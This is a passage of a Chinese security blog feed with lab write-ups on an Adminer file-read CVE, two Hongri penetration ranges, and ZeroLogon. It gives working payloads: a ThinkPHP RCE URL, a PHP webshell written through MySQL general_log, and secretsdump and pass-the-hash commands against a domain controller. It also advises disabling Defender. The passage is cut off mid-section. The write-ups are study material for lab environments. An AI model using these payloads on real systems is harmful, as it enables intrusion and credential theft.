class="hljs-string">&#x27;112.19.67.200&#x27;</span>, 10990)<br>[*]<span class="hljs-built_in"> Client </span>caps: 0x000aa28d  <span class="hljs-attribute">LOCAL_FILES</span>=<span class="hljs-literal">True</span><br>[*] <span class="hljs-attribute">CMD</span>=0x03 <span class="hljs-attribute">seq</span>=0  b<span class="hljs-string">&#x27;SET NAMES utf8mb4&#x27;</span><br>[&gt;&gt;] Sent LOCAL INFILE <span class="hljs-keyword">for</span>: /flag<br>[*] File chunk <span class="hljs-attribute">seq</span>=2 <span class="hljs-attribute">len</span>=42<br>[&lt;&lt;&lt;] File content received: 42 bytes<br>==================================================<br>flag&#123;5919fbbb-13f6-4887-8bc0-e1bf85e7631f&#125;<br>==================================================<br></code></pre></td></tr></table></figure><p>Adminer 连接上来后第一个发出的查询是 <code>SET NAMES utf8mb4</code>，我们的服务端不管它问什么，直接甩一个 <code>0xfb /flag</code> 回去。PHP mysqlnd 看到 <code>CLIENT_LOCAL_FILES</code> 已协商，乖乖去读 <code>/flag</code> 然后用一个包（42 字节）回传过来。</p><p>先读 <code>/etc/passwd</code> 探路确认漏洞存在，再读 <code>/flag</code> 拿下 flag。</p><h2 id="为什么这个漏洞存在？"><a href="#为什么这个漏洞存在？" class="headerlink" title="为什么这个漏洞存在？"></a>为什么这个漏洞存在？</h2><p>根本原因是 Adminer 没有对 MySQL 服务端返回的响应做合法性校验。</p><p>正常情况下，客户端发 <code>SET NAMES utf8mb4</code>，服务端应该返回 OK 包（<code>0x00</code>）或 ERR 包（<code>0xff</code>）。但 Adminer 的 MySQL 驱动对服务端返回的 <code>0xfb</code>（LOCAL INFILE 请求）照单全收，直接执行本地文件读取。</p><p>这里有一个前置条件：PHP 的 <code>mysqlnd</code> 驱动需要允许 <code>local_infile</code>。Adminer 本身为了支持导入 CSV 等功能，会显式开启 <code>MYSQL_OPT_LOCAL_INFILE</code>，所以恰好满足了条件。</p><h2 id="防御建议"><a href="#防御建议" class="headerlink" title="防御建议"></a>防御建议</h2><ol><li>**升级 Adminer 到 4.6.3+**，官方在新版本中默认禁用了 LOAD DATA LOCAL</li><li>如果无法升级，在 <code>php.ini</code> 中设置 <code>mysqli.allow_local_infile = Off</code></li><li>使用 Adminer 时<strong>不要连接不可信的 MySQL 服务端</strong>（虽然这听起来像废话，但这个漏洞的利用前提恰好就是你主动连了攻击者的服务器）</li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>CVE-2021-43008 是一个经典的”客户端过度信任服务端”类型漏洞。MySQL 协议设计时赋予了服务端请求客户端本地文件的能力，而 Adminer 在实现时没有限制这个能力的使用场景。配上用户主动连接恶意服务端这个看似不合理的操作（实际上社工场景下完全可能），就能实现任意文件读取。</p><p>整个利用过程从搭服务端到拿到 flag 不到半小时，属于”性价比”很高的一类漏洞。</p><hr><p><em>复现日期: 2026-07-03</em><br><em>漏洞编号: CVE-2021-43008</em><br><em>目标环境: Adminer 4.6.2 + PHP 7.2.15 + Apache 2.4.25</em></p>]]>
    </content>
    <id>http://82.156.189.140:8085/2026/07/03/CVE-2021-43008/</id>
    <link href="http://82.156.189.140:8085/2026/07/03/CVE-2021-43008/"/>
    <published>2026-07-03T06:23:38.000Z</published>
    <summary>
      <![CDATA[<h1 id="CVE-2021-43008-Adminer-任意文件读取漏洞复现"><a href="#CVE-2021-43008-Adminer-任意文件读取漏洞复现" class="headerlink" title="CVE-2021-43008 Adminer 任意文]]>
    </summary>
    <title>CVE-2021-43008</title>
    <updated>2026-07-18T03:15:21.941Z</updated>
  </entry>
  <entry>
    <author>
      <name>fortuneh2c</name>
    </author>
    <category term="红日靶场" scheme="http://82.156.189.140:8085/categories/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA/"/>
    <category term="CTF" scheme="http://82.156.189.140:8085/tags/CTF/"/>
    <category term="红日" scheme="http://82.156.189.140:8085/tags/%E7%BA%A2%E6%97%A5/"/>
    <category term="渗透" scheme="http://82.156.189.140:8085/tags/%E6%B8%97%E9%80%8F/"/>
    <content>
      <![CDATA[<h1 id="红日靶场五-—-渗透实战总结"><a href="#红日靶场五-—-渗透实战总结" class="headerlink" title="红日靶场五 — 渗透实战总结"></a>红日靶场五 — 渗透实战总结</h1><blockquote><p>红日靶场系列是内网渗透的经典练手项目，本文记录 Target 5 的完整渗透过程。</p></blockquote><h2 id="环境概览"><a href="#环境概览" class="headerlink" title="环境概览"></a>环境概览</h2><table><thead><tr><th>角色</th><th>IP</th><th>系统</th><th>备注</th></tr></thead><tbody><tr><td>攻击机</td><td>192.168.111.25</td><td>Win7</td><td>个人攻击平台</td></tr><tr><td>靶标</td><td>192.168.111.150</td><td>Win7</td><td>ThinkPHP Web 服务器</td></tr><tr><td>域控</td><td>192.168.138.138</td><td>Win2008</td><td>sun.com 域控</td></tr></tbody></table><p>已知凭证：</p><ul><li><code>leo@sun.com</code> &#x2F; <code>123.com</code></li><li><code>sun\admin</code> &#x2F; <code>2024.com</code></li><li><code>sun\Administrator</code> &#x2F; <code>dc123.com</code></li></ul><p>Flag 位置：域控主机的 <code>C:\Users\admin\Desktop\flag.txt</code></p><h2 id="攻击链条总览"><a href="#攻击链条总览" class="headerlink" title="攻击链条总览"></a>攻击链条总览</h2><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs nginx"><span class="hljs-attribute">ThinkPHP</span> RCE → Webshell → 内网信息收集 → SMB 横向到域控 → 读 Flag<br></code></pre></td></tr></table></figure><p>看起来很短对不对？这个靶场有诸多”捷径”，但 WP 里通常走的流程是：</p><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs nginx"><span class="hljs-attribute">ThinkPHP</span> RCE → CS 上线 → 提权 → Mimikatz 抓凭证 → Psexec 横向 → 域控<br></code></pre></td></tr></table></figure><p>我实际走下来发现，某些步骤完全可以跳过。</p><h2 id="Web-打点：ThinkPHP-RCE"><a href="#Web-打点：ThinkPHP-RCE" class="headerlink" title="Web 打点：ThinkPHP RCE"></a>Web 打点：ThinkPHP RCE</h2><p>150 上跑的是 ThinkPHP V5，直接用已知漏洞打穿。经典 payload：</p><figure class="highlight asciidoc"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs asciidoc"><span class="hljs-link">http://192.168.111.150/?s=0/think\app/invokefunction&amp;function=call_user_func_array&amp;vars</span>[<span class="hljs-string">0</span>]=system&amp;vars[1][]=whoami<br></code></pre></td></tr></table></figure><p>通过 <code>system()</code> 函数直接执行系统命令，拿到 Webshell 级权限。这里有个小坑：<code>system()</code> 会把输出打印到 stdout，然后 ThinkPHP 的调用链又把返回值 echo 了一遍，所以你会看到命令输出重复了两次——刚开始以为是两个不同内容拼在一起，虚惊一场。</p><h2 id="内网信息收集"><a href="#内网信息收集" class="headerlink" title="内网信息收集"></a>内网信息收集</h2><p>拿到 Webshell 后第一件事就是定位域控：</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs cmd"><span class="hljs-built_in">ipconfig</span> /all<br></code></pre></td></tr></table></figure><p>从输出里找到 DNS 服务器，那就是域控的 IP。</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs cmd">nslookup sun.com<br></code></pre></td></tr></table></figure><p>确认域名解析指向同一台机器，域控 IP 锁定：<strong>192.168.138.138</strong>。</p><h2 id="横向移动：SMB-读取-Flag"><a href="#横向移动：SMB-读取-Flag" class="headerlink" title="横向移动：SMB 读取 Flag"></a>横向移动：SMB 读取 Flag</h2><p>这里本来应该走”提权 → Mimikatz → Psexec”的标准流程。但实际上，你的 Webshell 进程如果权限足够（SYSTEM 或 NETWORK SERVICE），可以直接通过 SMB 访问域控的管理共享：</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs cmd"><span class="hljs-built_in">type</span> \\<span class="hljs-number">192</span>.<span class="hljs-number">168</span>.<span class="hljs-number">138</span>.<span class="hljs-number">138</span>\c$\Users\admin\Desktop\flag.txt<br></code></pre></td></tr></table></figure><p>能直接读到，说明你的进程凭据或机器账户在域内有足够的 SMB 访问权限。这种”意外之喜”在真实场景中并不少见——域控上 <code>C$</code> 的 ACL 配置不当、机器账户加入了特权组、或者域管理员把权限放开过，都会造成这种情况。</p><p>Flag 内容：<code>hr5flag2025test</code></p><h2 id="Cobalt-Strike-搭建经验"><a href="#Cobalt-Strike-搭建经验" class="headerlink" title="Cobalt Strike 搭建经验"></a>Cobalt Strike 搭建经验</h2><p>CS 在靶场里虽然没用来打目标（拿到 flag 了嘛），但搭建过程本身就是一个很好的学习机会。</p><p><strong>CS 架构理解：</strong></p><ul><li>Teamserver：C2 控制中心，运行在 Linux（我的 WSL Kali）</li><li>Client：图形操作界面，运行在 Windows</li><li>Beacon：投到靶机上的 payload</li></ul><p><strong>搭建要点：</strong></p><ol><li>WSL2 Mirrored 网络模式让 WSL 和 Windows 共享 IP，省去端口转发</li><li>大多数破解版都有 auth 授权文件验证，不同版本的 auth 不通用</li><li>Client 连本机 Teamserver 用 <code>127.0.0.1</code>，用外网 IP 容易被防火墙拦</li><li>汉化版和原版的 Server&#x2F;Client 可以用独立的 auth 文件独立启动</li></ol><p><strong>启动命令备忘：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># WSL 启动 Teamserver</span><br><span class="hljs-built_in">cd</span> ~/cs48 &amp;&amp; ./teamserver &lt;你的IP&gt; &lt;密码&gt;<br><br><span class="hljs-comment"># Windows 启动客户端</span><br><span class="hljs-comment"># 双击 Cobalt_Strike_CN.bat，连 127.0.0.1:50050</span><br></code></pre></td></tr></table></figure><h2 id="反思"><a href="#反思" class="headerlink" title="反思"></a>反思</h2><p>这个靶场对我来说有几个收获：</p><ol><li><p><strong>信息收集最重要</strong>。<code>ipconfig /all</code> + <code>nslookup</code> 两行命令就锁定了域控，不需要花里胡哨的工具。</p></li><li><p><strong>WP 不是唯一解</strong>。Writup 只写了”最少的路径”，但如果有现成的域管理员密码，哪怕是低权限用户，SMB 管理共享也可能直接让你横过去。</p></li><li><p><strong>不要过早复杂化</strong>。我拿到 webshell 之后就想折腾 CS 上线、提权、Mimikatz，结果发现 <code>type \\域控\c$\flag.txt</code> 就解决了。先试试最简单的路径，不行再上大家伙。</p></li><li><p><strong>避开 20 分钟怪圈</strong>。打渗透时候容易在一个方向死磕，20 分钟没进展就换路，很实用。</p></li><li><p><strong>Webshell 是你最好的朋友</strong>。只要命令执行还在，你就有无限可能——别急着丢 payload，先用 webshell 把信息收集做完。</p></li></ol><h2 id="工具速查"><a href="#工具速查" class="headerlink" title="工具速查"></a>工具速查</h2><table><thead><tr><th>阶段</th><th>命令</th></tr></thead><tbody><tr><td>信息收集</td><td><code>ipconfig /all</code>, <code>nslookup &lt;domain&gt;</code>, <code>whoami</code>, <code>net user</code></td></tr><tr><td>定位域控</td><td><code>nslookup &lt;domain&gt;</code> → DNS 服务器 &#x3D; 域控</td></tr><tr><td>SMB 访问</td><td><code>type \\&lt;DC_IP&gt;\c$\path\to\file</code></td></tr><tr><td>CS 启动</td><td><code>cd ~/cs48 &amp;&amp; ./teamserver &lt;IP&gt; &lt;password&gt;</code></td></tr><tr><td>CS 客户端</td><td><code>双击 Cobalt_Strike_CN.bat → 连 127.0.0.1:50050</code></td></tr></tbody></table><hr><p><em>这篇文章只是一个靶场学习笔记。渗透测试请确保在授权范围内进行。</em></p>]]>
    </content>
    <id>http://82.156.189.140:8085/2026/07/02/hr5/</id>
    <link href="http://82.156.189.140:8085/2026/07/02/hr5/"/>
    <published>2026-07-02T05:45:33.000Z</published>
    <summary>
      <![CDATA[<h1 id="红日靶场五-—-渗透实战总结"><a href="#红日靶场五-—-渗透实战总结" class="headerlink" title="红日靶场五 — 渗透实战总结"></a>红日靶场五 — 渗透实战总结</h1><blockquote>
<p>红日靶场系列是内网]]>
    </summary>
    <title>红日靶场五</title>
    <updated>2026-07-18T03:15:21.942Z</updated>
  </entry>
  <entry>
    <author>
      <name>fortuneh2c</name>
    </author>
    <category term="红日靶场" scheme="http://82.156.189.140:8085/categories/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA/"/>
    <category term="CTF" scheme="http://82.156.189.140:8085/tags/CTF/"/>
    <category term="红日" scheme="http://82.156.189.140:8085/tags/%E7%BA%A2%E6%97%A5/"/>
    <category term="渗透" scheme="http://82.156.189.140:8085/tags/%E6%B8%97%E9%80%8F/"/>
    <content>
      <![CDATA[<h1 id="外网打点-→-内网横向到域控-全流程复盘"><a href="#外网打点-→-内网横向到域控-全流程复盘" class="headerlink" title="外网打点 → 内网横向到域控 全流程复盘"></a>外网打点 → 内网横向到域控 全流程复盘</h1><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>这是一个标准的红队靶场环境，目标是拿到域控 C 盘根目录下的 flag。靶机 IP 为 192.168.111.20，本机 IP 为 192.168.111.25。记录一下完整的攻击路径和踩坑经验。</p><h2 id="一、外网信息收集"><a href="#一、外网信息收集" class="headerlink" title="一、外网信息收集"></a>一、外网信息收集</h2><p>先用 Python 写了个小脚本快速扫常用端口，发现目标开放了：</p><table><thead><tr><th>端口</th><th>服务</th></tr></thead><tbody><tr><td>80</td><td>HTTP（Apache）</td></tr><tr><td>135</td><td>RPC</td></tr><tr><td>139</td><td>NetBIOS</td></tr><tr><td>445</td><td>SMB</td></tr><tr><td>3306</td><td>MySQL</td></tr></tbody></table><p>Web 首页是一个 phpStudy 2014 探针（l.php），直接暴露了大量信息：</p><ul><li>Apache&#x2F;2.4.23 + PHP&#x2F;5.4.45</li><li>Web 根目录：C:&#x2F;phpStudy&#x2F;WWW</li><li>主机名：STU1</li><li>操作系统：Windows 7 专业版 SP1</li></ul><p>同时在扫描目录时发现存在 <code>/phpmyadmin/</code>，用 <code>root/root</code> 直接登录进去了。</p><h2 id="二、MySQL-到-Webshell"><a href="#二、MySQL-到-Webshell" class="headerlink" title="二、MySQL 到 Webshell"></a>二、MySQL 到 Webshell</h2><p>phpMyAdmin 里查到 MySQL 版本为 5.5.53。先尝试最经典的 INTO OUTFILE 写 webshell：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sql"><span class="hljs-keyword">SELECT</span> <span class="hljs-string">&#x27;&lt;?php system($_GET[&quot;c&quot;]);?&gt;&#x27;</span> <span class="hljs-keyword">INTO</span> OUTFILE <span class="hljs-string">&#x27;C:/phpStudy/WWW/shell.php&#x27;</span>;<br></code></pre></td></tr></table></figure><p>结果报了 <code>#1290 --secure-file-priv</code> 错误。再查 <code>SHOW VARIABLES LIKE &#39;secure_file_priv&#39;</code> 这里显示为 NULL。注意一个坑——MySQL 5.5 的 secure_file_priv 显示 NULL 但启动参数 <code>--secure-file-priv</code> 仍然会限制文件写入，不要被变量值骗了。</p><p>既然 INTO OUTFILE 被拦了，换 general_log 写法绕过：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs sql"><span class="hljs-keyword">SET</span> <span class="hljs-keyword">GLOBAL</span> general_log <span class="hljs-operator">=</span> <span class="hljs-string">&#x27;ON&#x27;</span>;<br><span class="hljs-keyword">SET</span> <span class="hljs-keyword">GLOBAL</span> general_log_file <span class="hljs-operator">=</span> <span class="hljs-string">&#x27;C:/phpStudy/WWW/shell.php&#x27;</span>;<br><span class="hljs-keyword">SELECT</span> <span class="hljs-string">&#x27;&lt;?php system($_GET[&quot;c&quot;]);?&gt;&#x27;</span>;<br><span class="hljs-keyword">SET</span> <span class="hljs-keyword">GLOBAL</span> general_log <span class="hljs-operator">=</span> <span class="hljs-string">&#x27;OFF&#x27;</span>;<br></code></pre></td></tr></table></figure><p>原理：general_log 会把所有 SQL 查询记录到日志文件，把日志文件路径指向 Web 目录后，执行的 SELECT 语句中的 PHP 代码就会被写进去。这样绕过了 secure_file_priv 的限制。</p><p>验证一下：访问 <code>http://192.168.111.20/shell.php?c=whoami</code>，返回 <code>god\administrator</code>——直接就是域管理员权限。</p><h2 id="三、信息收集"><a href="#三、信息收集" class="headerlink" title="三、信息收集"></a>三、信息收集</h2><p>有了 webshell 后，用几条核心命令完成了内网信息收集：</p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs apache"><span class="hljs-attribute">whoami</span>              → god\administrator（域管理员）<br><span class="hljs-attribute">ipconfig</span> /<span class="hljs-literal">all</span>       → 双网卡：<span class="hljs-number">111</span> 段（外网）+ <span class="hljs-number">52</span> 段（内网），DNS 服务器 <span class="hljs-number">192.168.52.138</span><br><span class="hljs-attribute">systeminfo</span>          → 域名 god.org，登录服务器 \\OWA<br></code></pre></td></tr></table></figure><p>根据经验，DNS 服务器通常就是域控，加上 <code>登录服务器 \\OWA</code> 确认了域控主机名。到这里已经定位了域控：</p><table><thead><tr><th>主机</th><th>IP</th><th>角色</th></tr></thead><tbody><tr><td>STU1</td><td>192.168.111.20 &#x2F; 192.168.52.143</td><td>当前立足点（Windows 7）</td></tr><tr><td>OWA</td><td>192.168.52.138</td><td>域控（主 DNS）</td></tr></tbody></table><h2 id="四、内网其他主机发现"><a href="#四、内网其他主机发现" class="headerlink" title="四、内网其他主机发现"></a>四、内网其他主机发现</h2><p>通过 <code>arp -a</code> 发现 52 段还有一台机器 <code>192.168.52.141</code>，通过 SMB admin share 远程查看了它的 C 盘目录，确认是一台 Windows Server 2003，上面有 <code>oracle</code>、<code>IIS</code>、以及若干逆向分析工具（IDA、OllyDbg 等）。</p><h2 id="五、内网横向到域控"><a href="#五、内网横向到域控" class="headerlink" title="五、内网横向到域控"></a>五、内网横向到域控</h2><p>我们已经是域管理员，不需要提权就能访问域控。简单一条命令：</p><figure class="highlight livescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs livescript">copy <span class="hljs-string">\\192.168.52.138\C$\flag.txt</span> C:<span class="hljs-string">\phpStudy\WWW\flag.txt</span><br></code></pre></td></tr></table></figure><p>再访问 <code>http://192.168.111.20/flag.txt</code>，flag 直接到手。</p><figure class="highlight dns"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs dns">d1f91b655118d4bd5d9f9e<span class="hljs-number">237d840e50</span><br></code></pre></td></tr></table></figure><h2 id="六、完整的攻击链总结"><a href="#六、完整的攻击链总结" class="headerlink" title="六、完整的攻击链总结"></a>六、完整的攻击链总结</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs bash">端口扫描发现 80/3306<br>  → phpMyAdmin root/root 弱口令登录<br>  → MySQL general_log 绕过 secure_file_priv 写 webshell<br>  → <span class="hljs-built_in">whoami</span> 确认域管权限<br>  → ipconfig + systeminfo 定位域控<br>  → copy UNC 路径直接拿 flag<br></code></pre></td></tr></table></figure><h2 id="七、关键收获"><a href="#七、关键收获" class="headerlink" title="七、关键收获"></a>七、关键收获</h2><ol><li><p><strong>不要被变量值骗了</strong>。secure_file_priv 显示 NULL 不代表能写文件，先试 INTO OUTFILE，不行就上 general_log。</p></li><li><p><strong>内网信息收集三步走</strong>：<code>ipconfig</code> 看网段和 DNS → <code>systeminfo</code> 看域名和登录服务器 → <code>arp -a</code> 看其他主机。</p></li><li><p><strong>域管 + admin share 是最直接的横向手段</strong>。拿到域管身份后，<code>copy \\DC\C$\flag.txt</code> 比任何 exp 都快，不用提权、不用代理、不用反弹 shell。</p></li><li><p><strong>CS 和 MSF 的价值在实战</strong>。靶场里 webshell 够用，但真实渗透中几十台机器、多网段、需要批量扫描和凭证抓取，没有 C2 平台根本忙不过来。</p></li></ol>]]>
    </content>
    <id>http://82.156.189.140:8085/2026/07/01/hr1/</id>
    <link href="http://82.156.189.140:8085/2026/07/01/hr1/"/>
    <published>2026-07-01T06:39:12.000Z</published>
    <summary>
      <![CDATA[<h1 id="外网打点-→-内网横向到域控-全流程复盘"><a href="#外网打点-→-内网横向到域控-全流程复盘" class="headerlink" title="外网打点 → 内网横向到域控 全流程复盘"></a>外网打点 → 内网横向到域控 全流程复盘</h1><]]>
    </summary>
    <title>红日靶场一</title>
    <updated>2026-07-18T03:15:21.942Z</updated>
  </entry>
  <entry>
    <author>
      <name>fortuneh2c</name>
    </author>
    <category term="题解" scheme="http://82.156.189.140:8085/categories/%E9%A2%98%E8%A7%A3/"/>
    <category term="CTF" scheme="http://82.156.189.140:8085/tags/CTF/"/>
    <category term="Writeup" scheme="http://82.156.189.140:8085/tags/Writeup/"/>
    <content>
      <![CDATA[<h1 id="ZeroLogon（CVE-2020-1472）从零到域控-—-实战记录"><a href="#ZeroLogon（CVE-2020-1472）从零到域控-—-实战记录" class="headerlink" title="ZeroLogon（CVE-2020-1472）从零到域控 — 实战记录"></a>ZeroLogon（CVE-2020-1472）从零到域控 — 实战记录</h1><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>Zerologon 是我接触内网渗透后打的第一个真正意义上的”不用密码就能拿域控”的漏洞。它的爆点在于——<strong>不需要知道任何密码、不需要用户交互、不需要钓鱼</strong>，只要域控没打补丁，一把梭就提权到域管。</p><hr><h2 id="什么是-Zerologon"><a href="#什么是-Zerologon" class="headerlink" title="什么是 Zerologon"></a>什么是 Zerologon</h2><p>Zerologon 是 Netlogon 远程协议（MS-NRPC）的一个特权提升漏洞，编号 CVE-2020-1472。</p><p>Netlogon 是 Windows 域环境里机器账户认证用的协议——每台加域的计算机启动时，都要通过 Netlogon 向域控证明”我是我”。这个协议跑在 SMB 命名管道（<code>\pipe\netlogon</code>）上。</p><p>漏洞出在它使用了 <strong>AES-CFB8</strong> 加密模式，但<strong>初始化向量（IV）被固定为全零</strong>。攻击者只需要不断发送全零密文作为凭证，每次有 <strong>1&#x2F;256</strong> 的概率被域控接受为合法认证。平均 256 次尝试就能拿到域控的机器账户身份。</p><hr><h2 id="环境说明"><a href="#环境说明" class="headerlink" title="环境说明"></a>环境说明</h2><table><thead><tr><th>角色</th><th>主机名</th><th>IP</th></tr></thead><tbody><tr><td>域控（DC）</td><td>masterpc</td><td>192.168.111.100</td></tr><tr><td>攻击机</td><td>Kali &#x2F; Windows + Python</td><td>192.168.111.25</td></tr><tr><td>域名</td><td>myd.com</td><td></td></tr></tbody></table><p>域控是 Windows Server 2016（Build 14393），未安装 KB4565349 补丁。</p><hr><h2 id="攻击流程"><a href="#攻击流程" class="headerlink" title="攻击流程"></a>攻击流程</h2><h3 id="Step-1：漏洞检测"><a href="#Step-1：漏洞检测" class="headerlink" title="Step 1：漏洞检测"></a>Step 1：漏洞检测</h3><p>使用 SecuraBV 的 zerologon_tester 脚本检查目标是否存在漏洞：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">python3 zerologon_tester.py masterpc 192.168.111.100<br></code></pre></td></tr></table></figure><p>脚本会向域控发送 2000 次全零认证请求，每次返回 <code>=</code> 号表示失败。如果某次返回 <code>Success</code>，说明漏洞存在。</p><p><strong>也可以使用 Impacket 自己写检测逻辑，核心就两步：</strong></p><ol><li><strong>NetrServerReqChallenge</strong> — 发送全零挑战</li><li><strong>NetrServerAuthenticate3</strong> — 发送全零凭证认证</li></ol><h3 id="Step-2：置空机器账户密码"><a href="#Step-2：置空机器账户密码" class="headerlink" title="Step 2：置空机器账户密码"></a>Step 2：置空机器账户密码</h3><p>确认存在漏洞后，执行 VoidSec 的 exploit 脚本：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">python3 cve-2020-1472-exploit.py -n masterpc -t 192.168.111.100<br></code></pre></td></tr></table></figure><p>脚本爆破成功后，会询问是否继续修改密码——输入 <code>Y</code>，将 <code>masterpc$</code> 的密码置为空。这一步操作的就是 AD 数据库 <code>ntds.dit</code> 中机器账户的凭据。</p><h3 id="Step-3：导出域哈希"><a href="#Step-3：导出域哈希" class="headerlink" title="Step 3：导出域哈希"></a>Step 3：导出域哈希</h3><p>密码置空后，用空密码冒充 <code>masterpc$</code> 登录域控，导出所有用户的哈希：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">python3 secretsdump.py myd.com/masterpc<span class="hljs-variable">$@192</span>.168.111.100 -no-pass<br></code></pre></td></tr></table></figure><p>拿到 Administrator 的 NTLM hash：</p><figure class="highlight elixir"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs elixir"><span class="hljs-symbol">Administrator:</span><span class="hljs-number">500</span><span class="hljs-symbol">:aad3b435b51404eeaad3b435b51404ee</span><span class="hljs-symbol">:ec0df45863a3751d56ba6df1e72f7218</span>::<span class="hljs-symbol">:</span><br></code></pre></td></tr></table></figure><h3 id="Step-4：PTH-攻击拿到-Shell"><a href="#Step-4：PTH-攻击拿到-Shell" class="headerlink" title="Step 4：PTH 攻击拿到 Shell"></a>Step 4：PTH 攻击拿到 Shell</h3><p>有了哈希就不用解密码，Windows NTLM 认证协议只看哈希对不对得上：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">python3 wmiexec.py -hashes :ec0df45863a3751d56ba6df1e72f7218 myd.com/Administrator@192.168.111.100<br></code></pre></td></tr></table></figure><p>拿到域控的 SYSTEM 权限 shell：</p><figure class="highlight avrasm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs avrasm"><span class="hljs-symbol">C:</span>\&gt;dir<br><span class="hljs-symbol">C:</span>\&gt;type flag.txt<br></code></pre></td></tr></table></figure><hr><h2 id="踩坑记录"><a href="#踩坑记录" class="headerlink" title="踩坑记录"></a>踩坑记录</h2><h3 id="坑1：Windows-Defender-杀-impacket"><a href="#坑1：Windows-Defender-杀-impacket" class="headerlink" title="坑1：Windows Defender 杀 impacket"></a>坑1：Windows Defender 杀 impacket</h3><p>运行 exploit 时一直报 <code>WinError 10053 — 你的主机中的软件中止了一个已建立的连接</code>。</p><p>查了半天发现是 <strong>Windows Defender</strong> 把 impacket 的几个关键文件（<code>nrpc.py</code>、<code>epm.py</code>、<code>__init__.py</code>）标记为”潜在垃圾软件”并阻断读写。解决方案是把 Python 目录加到 Defender 排除列表。</p><p><strong>修复后还有更坑的：</strong> <code>ping</code> 命令被 impacket 自带的 <code>ping.py</code> 劫持了。因为 Python Scripts 目录在 PATH 里的优先级比 <code>C:\Windows\System32</code> 高，导致 <code>ping</code> 实际上在跑 <code>ping.py</code>。删掉 <code>ping.py</code> 解决。</p><h3 id="坑2：impacket-版本不兼容"><a href="#坑2：impacket-版本不兼容" class="headerlink" title="坑2：impacket 版本不兼容"></a>坑2：impacket 版本不兼容</h3><p>原版 exploit 写于 2020 年，用的是 <code>impacket==0.9.23</code>。而我本地装的是 <code>impacket==0.13.1</code>，新版改了多个 API：</p><ul><li><code>nrpc.MSRPC_UUID_NRPC</code> 的值在新版中损坏</li><li><code>NETLOGON_NEG_SUPPORTS_AES</code> 等常量在新版中不存在</li><li>结构体字段名有变化</li></ul><p>降级到 <code>pip install impacket==0.9.23</code> 解决。</p><h3 id="坑3：PrimaryName-参数问题"><a href="#坑3：PrimaryName-参数问题" class="headerlink" title="坑3：PrimaryName 参数问题"></a>坑3：PrimaryName 参数问题</h3><p>通过 SMB 命名管道连接 Netlogon 服务时，<code>PrimaryName</code> 参数必须传空字符串 <code>\x00</code>，不能传 <code>\\masterpc\x00</code>，否则域控返回 <code>STATUS_INVALID_COMPUTER_NAME</code>。</p><h3 id="坑4：杀毒软件拦截"><a href="#坑4：杀毒软件拦截" class="headerlink" title="坑4：杀毒软件拦截"></a>坑4：杀毒软件拦截</h3><p>即使加了排除目录，发送 Zerologon 攻击包时杀毒软件的实时网络防护仍会拦截。需要临时关闭实时防护或在攻击机上用 <code>-codec gbk</code> 解决中文乱码。</p><hr><h2 id="为什么恢复哈希很重要"><a href="#为什么恢复哈希很重要" class="headerlink" title="为什么恢复哈希很重要"></a>为什么恢复哈希很重要</h2><p>攻击完成后，<code>masterpc$</code> 在 <strong>AD 数据库（ntds.dit）</strong> 中的密码被置空了。但域控本地的<strong>注册表</strong>和 <strong>lsass 进程</strong>中存的还是原始密码。这就导致了：</p><figure class="highlight crystal"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs crystal">ntds.dit 里 masterpc<span class="hljs-variable">$ </span>密码 = 空       ← 被我们改了<br>本地注册表里 masterpc<span class="hljs-variable">$ </span>密码 = 原来的    ← 没变<br></code></pre></td></tr></table></figure><p>域控重启时拿着注册表的原始密码去 AD 认证，但 AD 里的密码是空的——两边对不上，域控会<strong>脱域甚至开不了机</strong>。</p><p>恢复方法：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span 